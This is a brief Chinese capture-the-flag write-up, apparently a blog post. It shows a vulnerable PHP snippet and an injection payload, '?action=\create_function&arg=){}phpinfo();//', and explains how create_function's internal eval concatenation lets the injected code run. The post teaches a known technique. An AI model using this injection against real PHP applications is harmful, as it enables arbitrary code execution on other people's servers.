一道create_function代码执行

create_function函数的实现代码执行的原理
一道ctf说明


error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
} 

最后payload如下

http://ip/?action=\create_function&arg=){}phpinfo();//

最后不太懂的是为什么create_function是如此 "){}phpinfo();//"构造
查看php手册上说, create_function 函数内部实现与 eval 函数一样
一道create_function代码执行_第1张图片做个演示


//create_function($_GET['arg'],$_GET['code']);
eval('function __lambda_func('.$_GET['arg'].'){'.$_GET['code'].'}?)\0');
	//function __lambda_func(    用户传入参数 ){  函数体  }

第二行效果与第一行效果一样,看eval是进行拼接的
所以最后执行create_function,相当于执行的是的是第三行代码
结合上面的payload,执行的是如下代码


eval('function __lambda_func(){}phpinfo();//){}?)\0');

也就是所不管是否是arg可控,还是code可控都可以造成代码执行

你可能感兴趣的:(一道create_function代码执行)